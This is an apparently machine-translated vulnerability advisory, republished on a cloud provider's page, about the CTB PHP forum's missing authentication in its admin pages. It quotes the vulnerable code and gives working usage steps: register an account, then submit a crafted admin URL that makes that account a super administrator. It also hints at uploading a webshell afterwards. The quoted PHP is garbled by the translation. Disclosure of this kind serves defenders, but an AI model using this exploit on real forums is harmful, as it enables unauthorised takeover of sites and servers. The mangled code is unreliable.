Pretty but insecure CTB

Source: Internet
Author: User
DedicatedThisScrapToCaoJing version: ^ all current versions (1.3Alpha is the highest version) description: ^ CTB is a real easy digital 11cn.org; open source code PHP forum for development and maintenance. Due to defects in the background management file verification, illegal users may directly add Forum Super administrators, which in turn threatens the forum or server
>>> Dedicated This Scrap To CaoJing <

Involved versions:
^
All current versions (1.3Alpha is now the highest version)

Description:
^
CTB is an open source code PHP Forum developed and maintained by <11cn.org>. Due to defects in the background management file verification, illegal users may directly add Forum Super administrators to threaten the security of forums or servers.

Details:
^
CTB's writing is very standard, code is orderly, pleasing to the eye, and indeed a beautiful program; especially its functional modules, it really let the younger brother learn. But security is worrying:

Compile the following code:

/Admin/main. php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~
// Get variable
If (is_array ($ _ GET )){
Foreach ($ _ GET as $ k => $ v ){
If (is_array ($ _ GET [$ k]) {
Foreach ($ _ GET [$ k] as $ k2 => $ v2 ){
$ Return [$ k] [$ k2] = $ v2;
}
} Else {
$ Return [$ k] = $ v;
}
}
}
...
$ Mod = isset ($ _ GET ['mod'])? $ _ GET ['mod']: $ _ POST ['mod'];
If (! File_exists ($ mod. ". php "{
$ Mod = "mainright ";
}
Require_once ($ mod. ". php ";
//-----------------------------------------------------------------------------

// Initialize class variables
$ Ctb = new Module;
$ Ctb-> set = $ set;
$ Ctb-> tplPath = "./templates ";
$ Ctb-> input = $ return;
$ Ctb-> sess = isset ($ _ COOKIE ["sess_adminname"])? $ _ COOKIE: $ _ SESSION;
$ Ctb-> execute ();
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~

There is no verification here. let's take a look at the file for adding an administrator:

/Admin/systemuser. php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~
Class Module extends CommonClass
// System Management module subclass
{
Function execute (){
Switch ($ this-> input ['action']) {
...
Case 'addsystemuser ':
$ This-> addSystemUser ();
Break;
...
}
}

Function addSystemUser ()
{
// Simple format of input data
$ This-> inputCheck ("main. php? Mod = systemuser & action = showSystemUser ";
// Perform the ADD operation
$ This-> file = ".../". $ this-> set [dataPath]. "/users/list. php ";
$ SystemLine = $ this-> select (4, $ this-> input ['systemusername']);
....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~

Still not verified, all the way!

Usage:
^
Register a user first:

Login ID: cat
User Name: dog
Password: ilikecat
Repeated password: ilikecat
Mailbox: cat@dog.com

Then, submit the following URL:

Http://www.target.com/ctb/admin/main.php? Mod = systemuser & systemUserName = dog & systemUserMode = 1 & action = addSystemUser

Haha, you are a super administrator now. don't believe it? Submit the following URL for background login:

Http://www.psych.com/ctb/admin/main.php? Mod = login

Management name: cat
Manage password: ilikecat

Success... it's a success!

Do you want to change the background upload file type and then upload webshell? Hum, I guess so...

Postscript: In addition, I found that the CTB code comments were a bit eye-catching and incorrect. I hope it can be corrected together.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.